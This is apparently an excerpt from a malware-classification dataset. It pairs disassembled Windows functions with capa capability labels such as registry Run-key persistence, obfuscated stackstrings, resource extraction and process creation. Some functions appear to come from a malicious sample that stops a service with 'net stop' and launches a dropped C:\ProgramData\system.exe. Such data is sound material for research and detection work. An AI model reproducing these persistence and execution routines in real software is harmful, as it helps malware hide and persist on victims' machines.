joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401740
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b9c0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x655814]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx]
movzx edx, word [eax + 0x14]
mov ebx, dword [ecx + 4]
mov dword [ebp - 0x24], ebx
lea esi, [edx + eax + 0x18]
mov dword [ebp - 0x14], 0
mov eax, dword [ecx]
movzx ecx, word [eax + 6]
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x14], ecx
jge 0x40184e
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x4017da
mov edx, dword [ebp + 0xc]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x401840
mov eax, dword [esi + 0xc]
push 4
push 0x1000
push edi
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0
push eax
mov dword [esi + 8], eax
call fcn.004f5e90
inc dword [ebp - 0x14]
mov ecx, dword [ebp + 0x10]
add esp, 0xc
add esi, 0x28
jmp 0x401785
mov ecx, dword [esi + 0xc]
push 4
push 0x1000
push eax
add ecx, ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x549030
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0x55
call fcn.004f5f0a
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x14]
mov ecx, dword [eax + 0x10]
add edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1c]
push ecx
push edx
push eax
call fcn.004f5b20
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, 0x401834
ret
inc dword [ebp - 0x14]
mov ecx, dword [ebp + 0x10]
add esi, 0x28
jmp 0x401785
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ef0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x655814]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov al, 0x6c
xor al, al
push edi
mov byte [ebp - 0x12], al
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1c]
push ecx
mov dword [ebp - 0x1c], 0x52455355
mov dword [ebp - 0x18], 0x642e3233
mov word [ebp - 0x14], 0x6c6c
mov dword [ebp - 0x10], 0x72707377
mov dword [ebp - 0xc], 0x66746e69
mov word [ebp - 8], 0x41
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x474
mov edi, eax
call fcn.004025a3
mov esi, eax
push str.tbS00LW1utC0trnQtbO1pg
push esi
call edi
lea edx, [esi + 0x130]
push str.udG1taY
push edx
call edi
lea eax, [esi + 0x182]
push str.oisdffjkklkssssdde
push eax
call edi
lea ecx, [esi + 0x1e6]
push str.fisdssssfdnv
push ecx
call edi
lea edx, [esi + 0x266]
push str.Systssvsssddsdfkl
push edx
call edi
lea eax, [esi + 0x366]
push str.70d60c4496adf3e4e3d64b95efd972bf
push eax
call edi
lea ecx, [esi + 0x162]
push str.BAXzCbW10bS60bSm
push ecx
call edi
mov edx, dword [0x65121c]
mov dword [esi + 0x12c], edx
mov eax, dword [0x651558]
mov dword [esi + 0x468], eax
mov ecx, dword [0x65155c]
mov dword [esi + 0x46c], ecx
mov edx, dword [0x651560]
mov ecx, dword [ebp - 4]
add esp, 0x3c
pop edi
mov dword [esi + 0x470], edx
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004f520f
mov esp, ebp
pop ebp
ret

Function at 0x4020d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0xed8
push 0x31000
push 0x6200c8
call fcn.00402000
push 0x6200c8
call fcn.00401d50
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x402117
mov eax, dword [ebp + 8]
push eax
push ebx
call fcn.00401ca0
add esp, 8
test eax, eax
jne 0x40211c
push ebx
call fcn.00401bf0
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret
sub esp, 0x474
mov edi, esp
mov ecx, 0x11d
mov esi, str.tbS00LW1utC0trnQtbO1pg
rep movsd dword es:[edi], dword [esi]
call eax
push ebx
call fcn.00401bf0
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402150
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x655814]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
bsf eax, ecx
shr ah, cl
not ebx
bswap eax
mov bh, 0x8c
btr eax, 0xed
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004f5e90
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x10c]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop ebx
test eax, eax
jne 0x40220a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call esi
push 0
call esi
nop
push 0
call esi
mov ecx, dword [ebp - 0x10c]
push 0x104
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push 0x519f24
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.004f520f
mov esp, ebp
pop ebp
ret

Function at 0x4023d0
Capabilities:
Create process on windows

Disassembly:
push esi
call fcn.00402150
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.net_stop_UIODetect
call esi
push str.C:ProgramData_system.exe
call fcn.004015d0
add esp, 4
test al, al
je 0x4023ff
push 0
push str.C:ProgramData_system.exe
call esi
push 0
push 0
push 0
push str.C:ProgramData_system.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.Shellex
call fcn.004020d0
add esp, 4
xor eax, eax
pop esi
ret

Function at 0x40f261
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40f2a8
call fcn.004153dd
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40f2a8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40f2c4
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040ed66
mov esi, eax
test edi, edi
je 0x40f2c2
test ebx, ebx
je 0x40f2c2
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40fd7c
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x510cdd
call fcn.004f656b
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x40fda1
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40fdf3
call fcn.00404e4c
push eax
lea ecx, [ebp - 0x10]
call fcn.00401250
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004f6328
push eax
call fcn.0040273a
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401020
mov eax, esi
call fcn.004f6643
ret 8

Function at 0x413bab
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.004153dd
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x413be4
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.004137ed
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x413c42
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x413c66
cmp dword [edi + 0x74], 0
jne 0x413c66
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.004153dd
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00413c03
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41752b
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.004171ea
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x417575
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040d221
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00407a32
jmp 0x417580
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041898c
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x417586
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0040fa46
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x4175c3
call fcn.004171ea
mov dword [esi + 0xc], 1
jmp 0x4175c8
call fcn.004171ea
cmp dword [esi], 0
je 0x417611
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x4175e9
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040d221
jmp 0x4175fb
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.00401330
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00407a32
jmp 0x417635
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x417635
push dword [esi]
push dword [ebp + 8]
call fcn.0041898c
pop esi
pop ebp
ret 0xc

Function at 0x44f7d8
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004d0d7b
call fcn.00414e0e
cmp dword [eax + 0x14], 0
jne 0x44f7f5
mov ecx, esi
pop esi
jmp fcn.0044f2dd
pop esi
ret

Function at 0x452cda
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0047679b
call fcn.00414e0e
cmp dword [eax + 0x14], 0
jne 0x452cf7
mov ecx, esi
pop esi
jmp fcn.004526ad
pop esi
ret

Function at 0x4882f3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x48830d
call fcn.004153dd
mov esi, dword [eax + 0xc]
push dword [0x65ab30]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x48832b
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x488323
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x488358
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x488325
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.00488221
mov esi, eax
jmp 0x48834a
Function at 0x4da0e3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4da0fb
mov edi, dword [esi + 0xc]
jmp 0x4da13b
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4da114
call fcn.00403ca8
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4da129
call fcn.00403ca8
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4da13b
call fcn.00403ca8
call fcn.004153dd
cmp dword [eax + 0x3c], 0
je 0x4da150
push edi
mov ecx, ebx
call fcn.004d8f1c
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004d9ffd
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4da16e
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4da17a
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4f520f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x655814]
jne 0x4f5219
repz ret
jmp fcn.004fc1d2
Function at 0x508347
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x655814]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004fea3c
and dword [ebp - 0x14], 0
cmp dword [0x65d054], 0
mov dword [ebp - 0x18], eax
jne 0x5083fa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x5084a2
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x5084a2
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x540054
push ebx
mov dword [0x65d054], eax
call edi
push eax
call esi
push 0x540040
push ebx
mov dword [0x65d058], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x65d05c], eax
call edi
push eax
call esi
mov dword [0x65d064], eax
test eax, eax
je 0x5083fa
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x65d060], eax
mov eax, dword [0x65d060]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x508453
cmp dword [0x65d064], ecx
je 0x508453
push eax
call esi
push dword [0x65d064]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x508453
test ebx, ebx
je 0x508453
call edi
test eax, eax
je 0x50844a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x50844a
test byte [ebp - 8], 1
jne 0x508453
or dword [ebp + 0x10], 0x200000
jmp 0x508486
mov eax, dword [0x65d058]
cmp eax, dword [ebp - 0x18]
je 0x508486
push eax
call esi
test eax, eax
je 0x508486
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x508486
mov eax, dword [0x65d05c]
cmp eax, dword [ebp - 0x18]
je 0x508486
push eax
call esi
test eax, eax
je 0x508486
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x65d054]
call esi
test eax, eax
je 0x5084a2
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x5084a4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004f520f
leave
ret
Function at 0x4061db
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7aa], 0xed
and byte [ebp - 0x7a9], 0
mov byte [ebp - 0x7a8], 0x4e
mov byte [ebp - 0x7a7], 0x55
mov byte [ebp - 0x7a6], 0x56
mov byte [ebp - 0x7a5], 0x7e
mov byte [ebp - 0x7a4], 0x21
jmp dword [ecx]
mov byte [ebp - 0x7a3], 0x20
mov byte [ebp - 0x7a2], 0x3c
mov byte [ebp - 0x7a1], 0x76
mov byte [ebp - 0x7a0], 0x7e
mov byte [ebp - 0x79f], 0x7e
mov byte [ebp - 0x79e], 0x12
push 0xb
lea eax, [ebp - 0x7ac]
test dword [eax + edi*8 - 1], edx
call dword [eax - 0x18]
mov dword [0x59ffffe2], eax

Function at 0x406684
Capabilities:
Access peb ldr_data

Disassembly:
test esi, edi
mov eax, dword fs:[0x30]
add byte [eax], al
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x40669b
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.004044d7
inc ebx

Function at 0x4069c5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4069e9
xor eax, eax
test eax, eax
je 0x4069fc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4069fc
xor ecx, ecx
jmp 0x4069ff
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4
Function at 0x1001430
Capabilities:
Accept command line arguments
Create process on windows
Get common file path
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x10040c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x44
pop ebx
xor esi, esi
push ebx
lea eax, [ebp - 0x290]
push esi
push eax
mov dword [ebp - 0x218], esi
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x290], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [ebx]
cmp ax, si
je 0x10015fe
cmp ax, 0x20
je 0x1001498
push ebx
call dword [sym.imp.USER32.dll_CharNextW]
mov ebx, eax
movzx eax, word [ebx]
cmp ax, si
jne 0x1001481
cmp word [ebx], si
je 0x10015fe
push edi
call fcn.01001385
mov edi, eax
cmp edi, esi
je 0x10015fe
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp eax, 1
jne 0x10015fe
cmp dword [ebp - 0x218], eax
jne 0x10015fe
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [ebp - 0x24c], 9
jne 0x10014fd
cmp edi, 0x8664
jne 0x10015fe
cmp word [ebp - 0x24c], 6
jne 0x1001513
cmp edi, 0x200
jne 0x10015fe
push 0xf6
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
je 0x10015fe
push 0xd
mov ecx, 0x105
sub ecx, eax
push 0x10011b4
push ecx
lea eax, [ebp + eax*2 - 0x210]
push eax
call sub.msvcrt.dll_wcsncpy_s
mov edi, dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
add esp, 0x10
push esi
call edi
push 0x44
lea eax, [ebp - 0x290]
push esi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x290]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push ebx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 1
mov dword [ebp - 0x214], eax
call edi
cmp dword [ebp - 0x214], esi
je 0x10015fe
push 0xffffffffffffffff
push dword [ebp - 0x228]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, esi
mov dword [ebp - 0x214], eax
jne 0x10015e8
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x228]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x10015e8
push dword [ebp - 0x228]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x224]
call esi
mov eax, dword [ebp - 0x214]
jmp 0x1001601
push dword [ebp - 0x228]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x224]
call esi
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01002755
leave
ret 4
Function at 0x1001863
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x10040c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push 0x100
xor esi, esi
lea ecx, [ebp - 0x204]
push ecx
push esi
push esi
push esi
push esi
push esi
push esi
push dword [eax]
mov dword [ebp - 0x418], eax
call sub.msvcrt.dll__wsplitpath_s
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
add esp, 0x24
lea eax, [ebp - 0x408]
push eax
push 1
push esi
lea eax, [ebp - 0x204]
push eax
push 0x80000000
call ebx
test eax, eax
je 0x10018ca
xor eax, eax
jmp 0x10019b1
push edi
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x404]
push eax
push esi
push dword [ebp - 0x408]
mov dword [ebp - 0x40c], 0x200
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
push dword [ebp - 0x408]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x410], eax
call edi
cmp dword [ebp - 0x410], esi
jne 0x1001993
lea eax, [ebp - 0x408]
push eax
push 1
push esi
lea eax, [ebp - 0x404]
push eax
push 0x80000000
call ebx
test eax, eax
jne 0x1001993
lea eax, [ebp - 0x414]
push eax
push 1
push esi
push 0x10011d8
push dword [ebp - 0x408]
call ebx
test eax, eax
je 0x1001951
push dword [ebp - 0x408]
call edi
jmp 0x1001993
lea eax, [ebp - 0x40c]
push eax
mov ebx, 0x10041f0
push ebx
push esi
push dword [ebp - 0x414]
mov dword [ebp - 0x40c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
push dword [ebp - 0x408]
mov dword [ebp - 0x410], eax
call edi
push dword [ebp - 0x414]
call edi
cmp dword [ebp - 0x410], esi
je 0x1001997
xor eax, eax
jmp 0x10019b0
mov eax, dword [ebp - 0x40c]
mov word [eax*2 + 0x10041f0], si
mov eax, dword [ebp - 0x418]
mov dword [eax], ebx
xor eax, eax
inc eax
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.01002755
leave
ret 4
Function at 0x1002746
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x1002c38
call fcn.01002974
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x1004754
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x10024f4
cmp eax, esi
jne 0x10024e7
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x10024f7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10024ce
xor esi, esi
inc esi
mov eax, dword [0x1004750]
cmp eax, esi
jne 0x100250a
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1002539
mov eax, dword [0x1004750]
test eax, eax
jne 0x1002533
mov dword [0x1004750], esi
push 0x1001154
push 0x1001148
call fcn.01002430
pop ecx
pop ecx
test eax, eax
je 0x1002539
jmp 0x100265d
mov dword [0x1004414], esi
mov eax, dword [0x1004750]
cmp eax, esi
jne 0x100255d
push 0x1001144
push 0x100113c
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1004750], 2
cmp dword [ebp - 0x20], ebx
jne 0x100256a
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1004758], ebx
je 0x100258b
push 0x1004758
call fcn.010028eb
pop ecx
test eax, eax
je 0x100258b
push ebx
push 2
push ebx
call dword [0x1004758]
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
cmp dword [eax], ebx
je 0x100265d
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp cx, 0x20
ja 0x10025f5
cmp cx, bx
je 0x10025b0
cmp dword [ebp - 0x1c], ebx
jne 0x10025f5
movzx ecx, word [eax]
cmp cx, bx
je 0x10025c5
cmp cx, 0x20
ja 0x10025c5
inc eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x10025b0
test byte [ebp - 0x40], 1
je 0x10025d1
movzx ecx, word [ebp - 0x3c]
jmp 0x10025d4
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x1000000
call main
mov dword [0x1004410], eax
cmp dword [0x1004404], ebx
jne 0x100263a
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cx, 0x22
jne 0x1002606
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
inc eax
inc eax
jmp 0x100259a
cmp dword [0x1004414], ebx
jne 0x1002648
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1004410]
jmp 0x1002669
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.010029b9
ret
call fcn.01002abe
jmp 0x1002491

Function at 0x1002860
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x1002873
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100286f
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret